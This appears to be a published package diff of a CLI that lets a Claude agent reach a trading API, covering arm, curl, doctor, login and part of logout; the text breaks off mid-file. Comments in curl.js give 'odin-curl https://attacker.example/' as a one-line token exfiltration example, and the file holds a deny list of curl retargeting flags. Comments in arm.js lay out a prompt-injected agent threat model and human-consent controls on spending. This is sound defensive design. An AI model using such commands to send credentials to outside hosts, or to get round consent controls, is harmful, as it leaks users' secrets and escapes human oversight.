@symbols-cli/cli 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/LICENSE +8 -0
  2. package/README.md +103 -0
  3. package/dist/auth/client.js +531 -0
  4. package/dist/auth/credentials.js +293 -0
  5. package/dist/auth/hosts.js +85 -0
  6. package/dist/auth/loopback.js +108 -0
  7. package/dist/auth/pkce.js +33 -0
  8. package/dist/auth/wire.js +40 -0
  9. package/dist/commands/arm.js +154 -0
  10. package/dist/commands/curl.js +101 -0
  11. package/dist/commands/doctor.js +217 -0
  12. package/dist/commands/login.js +113 -0
  13. package/dist/commands/logout.js +78 -0
  14. package/dist/commands/mcp.js +33 -0
  15. package/dist/commands/project.js +145 -0
  16. package/dist/commands/status.js +78 -0
  17. package/dist/commands/sync.js +94 -0
  18. package/dist/commands/uninstall.js +149 -0
  19. package/dist/commands/up.js +176 -0
  20. package/dist/commands/update.js +120 -0
  21. package/dist/commands/watch.js +155 -0
  22. package/dist/commands/whoami.js +103 -0
  23. package/dist/index.js +147 -0
  24. package/dist/mcp/scopes.js +215 -0
  25. package/dist/mcp/server.js +366 -0
  26. package/dist/mcp/tools.js +646 -0
  27. package/dist/skills/bundle.js +441 -0
  28. package/dist/skills/claude-md.js +135 -0
  29. package/dist/skills/install.js +188 -0
  30. package/dist/skills/settings-merge.js +107 -0
  31. package/dist/sync/api.js +380 -0
  32. package/dist/sync/diff.js +172 -0
  33. package/dist/sync/ledger.js +319 -0
  34. package/dist/sync/paths.js +447 -0
  35. package/dist/sync/protect.js +108 -0
  36. package/dist/sync/reconcile.js +870 -0
  37. package/dist/sync/watcher.js +206 -0
  38. package/dist/util/log.js +58 -0
  39. package/dist/util/platform.js +79 -0
  40. package/dist/util/version.js +24 -0
  41. package/package.json +44 -0
@@ -0,0 +1,154 @@
1
+ // Copyright (c) 2025 Symbols LLC. All rights reserved.
2
+ //
3
+ // This source code is proprietary and confidential. Unauthorized copying,
4
+ // distribution, modification, or use of this file, via any medium, is strictly prohibited.
5
+ // `symbols arm` — open a bounded window in which the agent may spend money.
6
+ //
7
+ // # What this command is actually for
8
+ //
9
+ // gVisor's real contribution to the container's safety was never isolation
10
+ // alone — it was **ATTENDANCE**. The container re-mints a write token only while
11
+ // its WebSocket is open, i.e. while a tile is on screen and a human is at the
12
+ // machine. On a laptop `claude` sits in a detached tmux for days, so a
13
+ // timer-driven refresher would be a permanently-armed order credential:
14
+ // strictly worse than what it replaces.
15
+ //
16
+ // So this command **cannot arm anything by itself**. It opens a browser, and a
17
+ // human consents there while signed in with Clerk. An injected agent can spawn a
18
+ // browser; it cannot pass Clerk silently, and it cannot click consent without a
19
+ // tab visibly opening on the user's screen.
20
+ //
21
+ // ⚠ **THE CLI HAS NO PATH TO ARMING ITSELF, AND THAT IS THE POINT.** The server
22
+ // accepts `POST /api/cli/arm` from a Clerk session only — a device token is
23
+ // refused there. If you are reading this while adding a "just arm it from the
24
+ // CLI for testing" flag: that flag makes the window decorative.
25
+ //
26
+ // # Live orders are NOT here, and cannot be added
27
+ //
28
+ // `--live` does not exist and `ArmCapability` has no live variant. The CLI
29
+ // PROPOSES a live order and a human confirms it in the app. That is not caution
30
+ // for its own sake: a deployed `automated` live regime runs `symbols-engine
31
+ // live` for ~23.5 hours through an order-authority path with **no window concept
32
+ // at all**, so one armed click would have bought a day of autonomous order
33
+ // authority that nothing bounded.
34
+ import { request } from "../auth/client.js";
35
+ import { apiOrigin } from "../auth/hosts.js";
36
+ import { load } from "../auth/credentials.js";
37
+ import { openBrowser } from "../util/platform.js";
38
+ import { eprint, print } from "../util/log.js";
39
+ /** What a window may grant. Mirrors the server's closed enum, deliberately. */
40
+ const CAPABILITIES = ["backtest", "paper_order", "paper_deploy"];
41
+ function usage() {
42
+ eprint(`usage: symbols arm [--backtest] [--paper-orders] [--paper-deploy] [--minutes N]\n` +
43
+ ` symbols arm --status\n` +
44
+ ` symbols arm --off\n\n` +
45
+ `Opens your browser so you can consent. The CLI cannot arm itself.\n\n` +
46
+ `Capabilities:\n` +
47
+ ` --backtest run backtests (simulated; spends nothing)\n` +
48
+ ` --paper-orders place PAPER orders\n` +
49
+ ` --paper-deploy deploy a PAPER regime\n\n` +
50
+ `Live orders are never armed. The CLI proposes them; you confirm in the app.\n`);
51
+ return 2;
52
+ }
53
+ /**
54
+ * Exported so a test can EXERCISE it. A source grep for the comparison
55
+ * (`/n\s*>\s*60/`) proves only that an expression exists — `if (n > 60) {}`
56
+ * satisfies it — so the boundary is asserted by calling this.
57
+ */
58
+ export function parseMinutes(argv) {
59
+ const i = argv.indexOf("--minutes");
60
+ if (i === -1)
61
+ return 15; // a short default: the window is "a human just said yes"
62
+ const raw = argv[i + 1];
63
+ const n = Number(raw);
64
+ if (!Number.isInteger(n) || n <= 0 || n > 60)
65
+ return null;
66
+ return n;
67
+ }
68
+ export async function run(argv) {
69
+ if (argv.includes("-h") || argv.includes("--help"))
70
+ return usage();
71
+ const cred = await load();
72
+ if (!cred) {
73
+ eprint("Not signed in. Run `symbols login` first.\n");
74
+ return 1;
75
+ }
76
+ if (argv.includes("--status"))
77
+ return showStatus();
78
+ if (argv.includes("--off") || argv.includes("--disarm"))
79
+ return disarm();
80
+ const wanted = [];
81
+ if (argv.includes("--backtest"))
82
+ wanted.push("backtest");
83
+ if (argv.includes("--paper-orders"))
84
+ wanted.push("paper_order");
85
+ if (argv.includes("--paper-deploy"))
86
+ wanted.push("paper_deploy");
87
+ if (wanted.length === 0) {
88
+ eprint("Choose at least one capability.\n\n");
89
+ return usage();
90
+ }
91
+ const minutes = parseMinutes(argv);
92
+ if (minutes === null) {
93
+ eprint("--minutes must be a whole number between 1 and 60.\n");
94
+ return 1;
95
+ }
96
+ // The consent page is a WEB page on the allowlisted origin; the CLI only
97
+ // hands it the parameters. It reads them, shows the user exactly what is
98
+ // being asked for, and calls `POST /api/cli/arm` with the user's Clerk
99
+ // session — which is why this command never holds the power it requests.
100
+ const url = new URL(`${apiOrigin()}/cli-arm`);
101
+ url.searchParams.set("device_id", cred.deviceId);
102
+ url.searchParams.set("capabilities", wanted.join(","));
103
+ url.searchParams.set("minutes", String(minutes));
104
+ eprint(`Opening your browser to confirm.\n\n` +
105
+ ` Device ${cred.deviceId}\n` +
106
+ ` Capabilities ${wanted.join(", ")}\n` +
107
+ ` Duration ${minutes} minutes\n\n` +
108
+ ` ${url.toString()}\n\n` +
109
+ `Nothing is armed until you consent in the browser.\n` +
110
+ `Live orders are never armed — the CLI proposes them and you confirm in the app.\n\n`);
111
+ openBrowser(url.toString());
112
+ // Deliberately NOT polling until armed. A command that waits invites being
113
+ // left running unattended, which is the shape this whole mechanism exists to
114
+ // avoid. Consent, then check.
115
+ eprint("Once you have consented, run `symbols arm --status`.\n");
116
+ return 0;
117
+ }
118
+ async function showStatus() {
119
+ const { body } = await request("/api/cli/arm/status");
120
+ if (!body.armed) {
121
+ print("Not armed.\n\nRun `symbols arm --backtest` (or --paper-orders / --paper-deploy).\n");
122
+ return 0;
123
+ }
124
+ const until = body.armed_until ? new Date(body.armed_until) : null;
125
+ const left = until ? Math.max(0, Math.round((until.getTime() - Date.now()) / 60000)) : 0;
126
+ print(`Armed for ${left} more minute(s).\n` +
127
+ ` Capabilities ${body.capabilities ?? "—"}\n` +
128
+ ` Orders used ${body.orders_used}\n` +
129
+ ` Orders remaining ${body.orders_remaining}\n` +
130
+ ` Live orders ${body.live_orders}\n\n` +
131
+ `Close it now with \`symbols arm --off\`.\n`);
132
+ return 0;
133
+ }
134
+ async function disarm() {
135
+ // ⚠ Disarming is Clerk-authenticated on the server — a device token cannot
136
+ // close its own window either, because "close" and "open" are the same
137
+ // authority. So this opens the browser too.
138
+ //
139
+ // That is a genuine ergonomic cost and it is worth it: the alternative is a
140
+ // device credential that can manipulate its own money window, which is the
141
+ // thing the window exists to prevent.
142
+ const cred = await load();
143
+ if (!cred) {
144
+ eprint("Not signed in.\n");
145
+ return 1;
146
+ }
147
+ const url = new URL(`${apiOrigin()}/cli-arm`);
148
+ url.searchParams.set("device_id", cred.deviceId);
149
+ url.searchParams.set("disarm", "1");
150
+ eprint(`Opening your browser to close the window.\n\n ${url.toString()}\n\n` +
151
+ `You can also disarm from the app, which is faster if this laptop is not to hand.\n`);
152
+ openBrowser(url.toString());
153
+ return 0;
154
+ }
@@ -0,0 +1,101 @@
1
+ // Copyright (c) 2025 Symbols LLC. All rights reserved.
2
+ //
3
+ // This source code is proprietary and confidential. Unauthorized copying,
4
+ // distribution, modification, or use of this file, via any medium, is strictly prohibited.
5
+ // `symbols curl <path> [flags]` — the Symbols API, by path only.
6
+ //
7
+ // Port of `odin-curl` (docker/odin-runtime/skel/odin.fish:39-95). That wrapper
8
+ // exists because it once passed `$argv` straight to curl, which made
9
+ // `odin-curl https://attacker.example/` a one-line exfiltration of the bearer
10
+ // from a shell that runs an LLM reading attacker-influenceable text.
11
+ //
12
+ // ⚠ WHAT THIS IS AND IS NOT, on a laptop:
13
+ // In the container this was containment. Here it is not — the agent has plain
14
+ // `curl`, `node` and `python`, and can read the credential file directly. Keep
15
+ // the wrapper because it stops the ACCIDENTAL case and costs nothing; do not
16
+ // claim it as a security boundary. The real bound is that this credential
17
+ // carries no money scope (`cli_scopes_carry_no_write_scope`).
18
+ import { apiOrigin } from "../auth/hosts.js";
19
+ import { eprint, print } from "../util/log.js";
20
+ /**
21
+ * Flags that would retarget the request away from the pinned origin, or make
22
+ * curl read a config file that could. A denylist is the wrong shape in general —
23
+ * but here the allowed surface is "everything curl does EXCEPT change where the
24
+ * bearer goes", so enumerating the retargeting flags is the accurate model.
25
+ *
26
+ * Kept verbatim from odin.fish:74-83 so the two cannot drift.
27
+ */
28
+ const RETARGET_FLAGS = new Set([
29
+ "--url",
30
+ "-K",
31
+ "--config",
32
+ "--proxy",
33
+ "-x",
34
+ "--resolve",
35
+ "--connect-to",
36
+ "--next",
37
+ "-:",
38
+ "--location-trusted",
39
+ ]);
40
+ export class RetargetFlagError extends Error {
41
+ constructor(flag) {
42
+ super(`refusing '${flag}': it can send the Authorization header to a different host. ` +
43
+ `symbols curl talks to the Symbols API only.`);
44
+ this.name = "RetargetFlagError";
45
+ }
46
+ }
47
+ export class NotAPathError extends Error {
48
+ constructor(arg) {
49
+ super(`refusing '${arg}': pass an API PATH like /api/quote/SPY, not a URL. ` +
50
+ `symbols curl talks to the Symbols API only.`);
51
+ this.name = "NotAPathError";
52
+ }
53
+ }
54
+ /**
55
+ * Validate the argv a caller passed and return the absolute URL to fetch.
56
+ *
57
+ * Exported for the test, because this — not the network call — is the part with
58
+ * a security property worth pinning.
59
+ */
60
+ export function resolveTarget(argv, origin) {
61
+ const [first, ...rest] = argv;
62
+ if (!first)
63
+ throw new NotAPathError("");
64
+ for (const arg of argv) {
65
+ // Exact match only. `--proxyfoo` is not `--proxy`, and treating it as one
66
+ // would reject legitimate flags; `--proxy=x` IS a retarget, so split on `=`.
67
+ const bare = arg.split("=")[0] ?? arg;
68
+ if (RETARGET_FLAGS.has(bare))
69
+ throw new RetargetFlagError(bare);
70
+ }
71
+ if (first.startsWith("/"))
72
+ return { url: `${origin}${first}`, rest };
73
+ // An absolute URL is accepted ONLY if it is exactly the pinned origin — the
74
+ // same concession odin.fish makes, so `odin-curl $SYMBOLS_API_URL/x` works.
75
+ if (first === origin || first.startsWith(`${origin}/`))
76
+ return { url: first, rest };
77
+ throw new NotAPathError(first);
78
+ }
79
+ export async function run(argv) {
80
+ const origin = apiOrigin();
81
+ const { url, rest } = resolveTarget(argv, origin);
82
+ // TODO(P0): read the access token from the credential store and send it.
83
+ // Deliberately not stubbed with a fake header — a request that silently goes
84
+ // out unauthenticated is worse than one that refuses.
85
+ const token = process.env["SYMBOLS_ACCESS_TOKEN"];
86
+ if (!token) {
87
+ eprint("symbols: not signed in. Run `symbols login` first.\n");
88
+ return 1;
89
+ }
90
+ const method = methodFrom(rest) ?? "GET";
91
+ const res = await fetch(url, { method, headers: { authorization: `Bearer ${token}` } });
92
+ const body = await res.text();
93
+ print(body);
94
+ if (!body.endsWith("\n"))
95
+ print("\n");
96
+ return res.ok ? 0 : 1;
97
+ }
98
+ function methodFrom(rest) {
99
+ const i = rest.findIndex((a) => a === "-X" || a === "--request");
100
+ return i >= 0 ? rest[i + 1] : undefined;
101
+ }
@@ -0,0 +1,217 @@
1
+ // Copyright (c) 2025 Symbols LLC. All rights reserved.
2
+ //
3
+ // This source code is proprietary and confidential. Unauthorized copying,
4
+ // distribution, modification, or use of this file, via any medium, is strictly prohibited.
5
+ // `symbols doctor` — machine-readable verification that the skills a user has
6
+ // are the skills we shipped.
7
+ //
8
+ // ## Three rules, each of them a scar
9
+ //
10
+ // 1. **MACHINE-READABLE, NEVER A SUBSTRING GREP.** Every assertion parses
11
+ // `claude plugin list --json` — a documented, stable shape. An earlier draft
12
+ // of the plan asserted against `claude plugin details` output; `details` has
13
+ // NO `--json` (verified: its `--help` lists no such flag), so that check would
14
+ // have been a grep over prose that passes on a rendering change and fails on a
15
+ // cosmetic one.
16
+ //
17
+ // 2. **NEVER `|| true`.** A diagnostic that cannot fail is decoration. This
18
+ // exits non-zero on ANY problem, and the process exit code is the contract.
19
+ //
20
+ // 3. **VERSION IS THE HEADLINE CHECK.** The incident this whole project opens
21
+ // with is the repo at odin 0.7.7 and every laptop at 0.7.4, because
22
+ // `plugin install` exits 0 without upgrading. `publish_plugin_bundle.sh`
23
+ // stops it being SHIPPED; this stops it being INSTALLED and unnoticed.
24
+ //
25
+ // ## The renamed-directory failure
26
+ //
27
+ // `installed_plugins.json` stores `projectPath` as a literal string. `mv
28
+ // ~/Symbols/Foo ~/Symbols/Bar` therefore detaches a project-scope install
29
+ // silently: `claude` reports the plugin installed, the cache is intact, the
30
+ // version is right, and no skill loads in the new directory. Nothing surfaces
31
+ // it. Doctor compares `projectPath` to the real path and repairs it with `--fix`.
32
+ import { promises as fs } from "node:fs";
33
+ import { realpath } from "node:fs/promises";
34
+ import { resolve } from "node:path";
35
+ import { bundleSequenceStore, readBundleSequence, } from "../auth/credentials.js";
36
+ import { readInstalledManifest, computeBundleStamp } from "../skills/bundle.js";
37
+ import { MARKETPLACE, countInstalledSkills, installPlugins, listPlugins, ClaudeCliMissingError, } from "../skills/install.js";
38
+ import { projectSettingsPath } from "../skills/settings-merge.js";
39
+ import { BEGIN, END, projectClaudeMdPath } from "../skills/claude-md.js";
40
+ import { bundleRoot } from "../util/platform.js";
41
+ import { print } from "../util/log.js";
42
+ function ok(name, detail) {
43
+ return { level: "ok", name, detail };
44
+ }
45
+ function fail(name, detail) {
46
+ return { level: "fail", name, detail };
47
+ }
48
+ function warn(name, detail) {
49
+ return { level: "warn", name, detail };
50
+ }
51
+ /**
52
+ * Run every check and return them. Exported so a test can assert the FINDINGS,
53
+ * not the rendering — a doctor whose test greps its own output is the same
54
+ * mistake the rules above are about.
55
+ */
56
+ export async function diagnose(opts) {
57
+ const checks = [];
58
+ // ── the runtime prerequisite the plan refuses to pretend about ─────────────
59
+ const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
60
+ checks.push(major >= 20
61
+ ? ok("node", `v${process.versions.node}`)
62
+ : fail("node", `v${process.versions.node} — Symbols CLI needs Node >= 20. Install it and re-run.`));
63
+ // ── the local bundle ───────────────────────────────────────────────────────
64
+ const manifest = await readInstalledManifest();
65
+ if (!manifest) {
66
+ checks.push(fail("bundle", "no skills bundle is installed — run `symbols update` to fetch it"));
67
+ return checks;
68
+ }
69
+ checks.push(ok("bundle", `sequence ${manifest.sequence} · stamp ${manifest.stamp.slice(0, 12)} · ${manifest.issued_at}`));
70
+ // The unpacked tree must still hash to what the SIGNED manifest said. This is
71
+ // what catches a partially-deleted or hand-edited local bundle — the state a
72
+ // stale-but-parsing SKILL.md lives in.
73
+ const root = bundleRoot();
74
+ const localStamp = await computeBundleStamp(root).catch(() => null);
75
+ checks.push(localStamp === manifest.stamp
76
+ ? ok("bundle-integrity", `${root} matches the signed stamp`)
77
+ : fail("bundle-integrity", `${root} hashes to ${localStamp ?? "<unreadable>"}, the signed manifest says ${manifest.stamp}. ` +
78
+ `Re-run \`symbols update\` to re-fetch and re-verify.`));
79
+ // ── S1's anti-rollback floor ───────────────────────────────────────────────
80
+ const store = bundleSequenceStore();
81
+ const floor = await readBundleSequence();
82
+ checks.push(store === "keychain"
83
+ ? ok("rollback-floor", `sequence >= ${floor}, in the login keychain`)
84
+ : warn("rollback-floor", `sequence >= ${floor}, in a FILE (${store}). On this platform the counter is rewindable by ` +
85
+ `anything running as you; the signature still holds, freshness does not.`));
86
+ // ── the install, machine-readable ──────────────────────────────────────────
87
+ let listed;
88
+ try {
89
+ listed = await listPlugins(opts.projectDir);
90
+ }
91
+ catch (err) {
92
+ if (err instanceof ClaudeCliMissingError) {
93
+ checks.push(fail("claude", err.message));
94
+ return checks;
95
+ }
96
+ throw err;
97
+ }
98
+ const wantProject = await realpath(resolve(opts.projectDir)).catch(() => resolve(opts.projectDir));
99
+ let needsReinstall = false;
100
+ for (const plugin of manifest.plugins) {
101
+ const id = `${plugin.name}@${MARKETPLACE}`;
102
+ const entry = listed.find((p) => p.id === id);
103
+ if (!entry) {
104
+ checks.push(fail(id, "not installed"));
105
+ needsReinstall = true;
106
+ continue;
107
+ }
108
+ // (a) THE HEADLINE CHECK.
109
+ if (entry.version !== plugin.version) {
110
+ checks.push(fail(`${id}/version`, `installed ${entry.version}, manifest says ${plugin.version}. ` +
111
+ `\`claude plugin install\` exits 0 without upgrading, so this is the silent-stale state.`));
112
+ needsReinstall = true;
113
+ }
114
+ else {
115
+ checks.push(ok(`${id}/version`, entry.version));
116
+ }
117
+ // (b) scope
118
+ checks.push(entry.scope === "project"
119
+ ? ok(`${id}/scope`, "project")
120
+ : fail(`${id}/scope`, `installed at ${entry.scope} scope. Symbols installs at PROJECT scope so its skills do not ` +
121
+ `load in every repo you open.`));
122
+ if (entry.scope !== "project")
123
+ needsReinstall = true;
124
+ // (c) THE RENAMED-DIRECTORY CHECK.
125
+ const got = entry.projectPath
126
+ ? await realpath(entry.projectPath).catch(() => entry.projectPath)
127
+ : undefined;
128
+ if (entry.scope === "project" && got !== wantProject) {
129
+ checks.push(fail(`${id}/projectPath`, `bound to '${entry.projectPath ?? "<none>"}', but this project is '${wantProject}'. ` +
130
+ `Renaming or moving a project detaches a project-scope install silently and skills stop loading.`));
131
+ needsReinstall = true;
132
+ }
133
+ else if (entry.scope === "project") {
134
+ checks.push(ok(`${id}/projectPath`, wantProject));
135
+ }
136
+ // (d) enabled
137
+ checks.push(entry.enabled
138
+ ? ok(`${id}/enabled`, "true")
139
+ : warn(`${id}/enabled`, "disabled. Left alone — that is your call, not ours."));
140
+ // (e) COUNT THE SKILLS ON DISK. A cache can be present, correctly versioned,
141
+ // and missing skills; that is the shape the opening incident had.
142
+ const found = await countInstalledSkills(entry.installPath).catch(() => -1);
143
+ if (found !== plugin.skills) {
144
+ checks.push(fail(`${id}/skills`, `${found < 0 ? "no skills/ directory" : `${found} skills`} under ${entry.installPath}, ` +
145
+ `manifest says ${plugin.skills}`));
146
+ needsReinstall = true;
147
+ }
148
+ else {
149
+ checks.push(ok(`${id}/skills`, `${found}`));
150
+ }
151
+ }
152
+ // ── the project's own wiring ───────────────────────────────────────────────
153
+ const settingsPath = projectSettingsPath(opts.projectDir);
154
+ try {
155
+ const doc = JSON.parse(await fs.readFile(settingsPath, "utf8"));
156
+ const missing = manifest.plugins
157
+ .map((p) => `${p.name}@${MARKETPLACE}`)
158
+ .filter((id) => doc.enabledPlugins?.[id] === undefined);
159
+ checks.push(missing.length === 0
160
+ ? ok("settings", settingsPath)
161
+ : fail("settings", `${settingsPath} has no enabledPlugins entry for ${missing.join(", ")}`));
162
+ }
163
+ catch (err) {
164
+ checks.push(fail("settings", err.code === "ENOENT"
165
+ ? `${settingsPath} is missing — run \`symbols up\` in this project`
166
+ : `${settingsPath} is unreadable: ${err.message}`));
167
+ }
168
+ const claudeMd = projectClaudeMdPath(opts.projectDir);
169
+ try {
170
+ const text = await fs.readFile(claudeMd, "utf8");
171
+ const b = text.indexOf(BEGIN);
172
+ const e = text.indexOf(END);
173
+ checks.push(b !== -1 && e > b
174
+ ? ok("CLAUDE.md", "managed markers present and well-formed")
175
+ : fail("CLAUDE.md", `${claudeMd} has no well-formed symbols markers — run \`symbols up\``));
176
+ }
177
+ catch {
178
+ checks.push(fail("CLAUDE.md", `${claudeMd} is missing — run \`symbols up\``));
179
+ }
180
+ // ── repair ─────────────────────────────────────────────────────────────────
181
+ if (needsReinstall && opts.fix) {
182
+ try {
183
+ const results = await installPlugins(opts.projectDir, manifest);
184
+ checks.push(ok("fix", results.map((r) => `${r.plugin} install=${r.installed} update=${r.updated}`).join(" · ")));
185
+ // ⚠ NOT re-verified in this process. `claude plugin update` says "restart
186
+ // required to apply", and a fresh `plugin list` in the same run can report
187
+ // the pre-update state — a re-check here would print a green line for a
188
+ // repair that has not taken effect yet. Say so and make them re-run.
189
+ checks.push(warn("fix", "re-run `symbols doctor` to confirm; `claude plugin update` needs a restart to apply"));
190
+ }
191
+ catch (err) {
192
+ checks.push(fail("fix", err.message));
193
+ }
194
+ }
195
+ else if (needsReinstall) {
196
+ checks.push(warn("fix", "re-run with `symbols doctor --fix` to repair"));
197
+ }
198
+ return checks;
199
+ }
200
+ export async function run(argv) {
201
+ const fix = argv.includes("--fix");
202
+ const dirArg = argv.find((a) => !a.startsWith("-"));
203
+ const projectDir = resolve(dirArg ?? process.cwd());
204
+ const checks = await diagnose({ projectDir, fix });
205
+ const width = Math.max(...checks.map((c) => c.name.length));
206
+ for (const c of checks) {
207
+ const mark = c.level === "ok" ? "ok " : c.level === "warn" ? "warn" : "FAIL";
208
+ print(`${mark} ${c.name.padEnd(width)} ${c.detail}\n`);
209
+ }
210
+ const failures = checks.filter((c) => c.level === "fail").length;
211
+ if (failures > 0) {
212
+ print(`\n${failures} problem${failures === 1 ? "" : "s"}.\n`);
213
+ return 1;
214
+ }
215
+ print("\nall checks passed.\n");
216
+ return 0;
217
+ }
@@ -0,0 +1,113 @@
1
+ // Copyright (c) 2025 Symbols LLC. All rights reserved.
2
+ //
3
+ // This source code is proprietary and confidential. Unauthorized copying,
4
+ // distribution, modification, or use of this file, via any medium, is strictly prohibited.
5
+ // `symbols login` — browser sign-in, PKCE-bound, loopback redemption.
6
+ //
7
+ // The shape, and why each step is where it is:
8
+ //
9
+ // 1. Bind the loopback port. BEFORE the browser, always — owning the port is
10
+ // the security boundary (auth/loopback.ts says why at length).
11
+ // 2. Generate a PKCE verifier. It never leaves this process; only its S256
12
+ // challenge travels through the browser.
13
+ // 3. Open the browser at /desktop-auth?mode=cli. The user authenticates with
14
+ // Clerk there — the CLI never sees a password, and cannot: it has no field
15
+ // to type one into, which is the point.
16
+ // 4. The browser redirects to the loopback with a 60-second single-use CODE,
17
+ // not a credential. A 90-day credential must never sit in a URL that every
18
+ // browser extension, the history file, and any local proxy can read.
19
+ // 5. Exchange the code + verifier for the device credential, and store it.
20
+ //
21
+ // The credential that comes back is a REFRESH token: opaque, rotating, stored
22
+ // server-side as a hash only, and revocable in a way that survives an API
23
+ // restart. That last property is why this does not reuse the shell token's
24
+ // in-memory revocation set — fine for a one-hour container token, unacceptable
25
+ // for something that lives on a laptop for ninety days.
26
+ import { randomBytes, createHash } from "node:crypto";
27
+ import { openBrowser } from "../util/platform.js";
28
+ import { platform } from "node:os";
29
+ import { startLoopback } from "../auth/loopback.js";
30
+ import { createPkce } from "../auth/pkce.js";
31
+ import { apiOrigin } from "../auth/hosts.js";
32
+ import { requestAnonymous } from "../auth/client.js";
33
+ import { tokenBody } from "../auth/wire.js";
34
+ import { CLI_VERSION } from "../util/version.js";
35
+ import { save, load, deviceLabel, credentialsPath } from "../auth/credentials.js";
36
+ import { eprint } from "../util/log.js";
37
+ export async function run(argv) {
38
+ const force = argv.includes("--force");
39
+ const existing = await load();
40
+ if (existing && !force) {
41
+ eprint(`Already signed in as ${existing.email ?? existing.userId} on ${existing.origin}.\n` +
42
+ `Run \`symbols login --force\` to replace this device's credential.\n`);
43
+ return 0;
44
+ }
45
+ const origin = apiOrigin();
46
+ // Step 1 — the port, before anything else.
47
+ const loopback = await startLoopback();
48
+ // Step 2 — the verifier stays here.
49
+ const pkce = createPkce();
50
+ const authorize = new URL(`${origin}/desktop-auth`);
51
+ authorize.searchParams.set("mode", "cli");
52
+ authorize.searchParams.set("redirect_uri", loopback.redirectUri);
53
+ authorize.searchParams.set("nonce", loopback.nonce);
54
+ authorize.searchParams.set("code_challenge", pkce.challenge);
55
+ authorize.searchParams.set("code_challenge_method", pkce.method);
56
+ // ⚠ The DEVICE ID IS ASSIGNED BY THE SERVER, in `token`. An earlier draft
57
+ // generated one here and sent it in the exchange body, where it was silently
58
+ // ignored — the client would then have stored an id that named no row, and
59
+ // `symbols logout` would have revoked nothing. The client sends only
60
+ // descriptive fields; identity comes back from the server.
61
+ authorize.searchParams.set("device_name", deviceLabel());
62
+ authorize.searchParams.set("device_platform", platform());
63
+ authorize.searchParams.set("client_version", CLI_VERSION);
64
+ eprint(`Opening your browser to sign in…\n\n ${authorize.toString()}\n\n`);
65
+ openBrowser(authorize.toString());
66
+ let code;
67
+ try {
68
+ // Step 4 — waits up to five minutes, then rejects.
69
+ ({ code } = await loopback.received);
70
+ }
71
+ catch (err) {
72
+ loopback.close();
73
+ eprint(`Sign-in did not complete: ${err.message}\n`);
74
+ return 1;
75
+ }
76
+ finally {
77
+ loopback.close();
78
+ }
79
+ // Step 5 — the code is single-use and 60-second lived; the verifier proves this
80
+ // is the same process that started the flow.
81
+ // ⚠ WRITE-AHEAD, from the very first credential. WE generate the refresh
82
+ // token; the server only ever stores its hash and never hands one back. An
83
+ // endpoint that returns a credential is an endpoint an attacker can ask for
84
+ // one, and that is precisely how an earlier `refresh` became a session
85
+ // takeover. The device id is not known until the response, so the token is
86
+ // finalised with it below — the pre-write happens on the credential itself.
87
+ const secret = randomBytes(32).toString("base64url");
88
+ const { body } = await requestAnonymous("/api/auth/cli/token", {
89
+ method: "POST",
90
+ body: tokenBody({
91
+ code,
92
+ verifier: pkce.verifier,
93
+ deviceName: deviceLabel(),
94
+ devicePlatform: platform(),
95
+ clientVersion: CLI_VERSION,
96
+ nextTokenHash: createHash("sha256").update(secret).digest("hex"),
97
+ }),
98
+ });
99
+ const cred = {
100
+ refreshToken: secret,
101
+ deviceId: body.device_id,
102
+ origin,
103
+ userId: body.user_id,
104
+ ...(body.email ? { email: body.email } : {}),
105
+ createdAt: new Date().toISOString(),
106
+ };
107
+ const where = await save(cred);
108
+ eprint(`\nSigned in as ${cred.email ?? cred.userId}.\n` +
109
+ `Device: ${deviceLabel()}\n` +
110
+ `Credential stored in ${where === "keychain" ? "the macOS keychain" : `${credentialsPath()} (0600)`}.\n\n` +
111
+ `Next: \`symbols up\` to create your workspace.\n`);
112
+ return 0;
113
+ }
@@ -0,0 +1,78 @@
1
+ // Copyright (c) 2025 Symbols LLC. All rights reserved.
2
+ //
3
+ // This source code is proprietary and confidential. Unauthorized copying,
4
+ // distribution, modification, or use of this file, via any medium, is strictly prohibited.
5
+ // `symbols logout` — revoke this device server-side, then drop the local copy.
6
+ //
7
+ // ⚠ ORDER MATTERS, and it is the opposite of the intuitive one. Revoke on the
8
+ // SERVER FIRST, then clear locally. Clearing first and then failing to reach the
9
+ // server leaves a credential that is still valid for ninety days with nothing
10
+ // left on this machine that knows how to revoke it — the user believes they have
11
+ // logged out and has not.
12
+ //
13
+ // If the server call fails we say so plainly and DO NOT clear, unless `--local`
14
+ // is passed. `--local` exists for the genuine case (lost machine, server
15
+ // unreachable, credential already revoked elsewhere) and is explicit about what
16
+ // it does not do.
17
+ //
18
+ // The honest tail, printed rather than hidden: revocation kills the refresh
19
+ // chain immediately, but an access token already minted stays valid for up to
20
+ // its 15-minute TTL. There is no way around that short of a revocation check on
21
+ // every request, which is a database round trip per call.
22
+ import { load, clear } from "../auth/credentials.js";
23
+ import { requestAnonymous, forgetAccessToken } from "../auth/client.js";
24
+ import { logoutBody } from "../auth/wire.js";
25
+ import { eprint } from "../util/log.js";
26
+ export async function run(argv) {
27
+ const localOnly = argv.includes("--local");
28
+ const cred = await load();
29
+ if (!cred) {
30
+ eprint("Not signed in — nothing to do.\n");
31
+ return 0;
32
+ }
33
+ if (localOnly) {
34
+ await clear();
35
+ forgetAccessToken();
36
+ eprint("Local credential removed. ⚠ It was NOT revoked server-side — this device can\n" +
37
+ "still be signed in from a backup of the credential. Revoke it from the app,\n" +
38
+ "or run `symbols logout` again with the server reachable.\n");
39
+ return 0;
40
+ }
41
+ try {
42
+ // ⚠ The REFRESH TOKEN, not the device id, and ANONYMOUSLY.
43
+ //
44
+ // Two bugs lived in the obvious version, and a staff review caught the
45
+ // first: the server's `logout` takes `RefreshBody { refresh_token }`, so
46
+ // posting `{ device_id }` 422'd on EVERY call — `symbols logout` could never
47
+ // succeed, and the failure path kept the credential, so the user was told
48
+ // logout failed while their device stayed authorised indefinitely. No ledger
49
+ // box covered logout, so nothing would have caught it.
50
+ //
51
+ // The device id is deliberately not the credential here: it is an
52
+ // identifier, not a secret, so accepting it would let anyone who learned a
53
+ // device id sign that laptop out.
54
+ //
55
+ // Anonymous because logout authenticates with the refresh token itself —
56
+ // that is what lets it work without a browser round trip. Going through
57
+ // `request()` would first mint an access token, which ROTATES the refresh
58
+ // token, and would fail outright for the case that most needs logout to
59
+ // work: a device whose refresh chain is already broken.
60
+ await requestAnonymous("/api/auth/cli/logout", {
61
+ method: "POST",
62
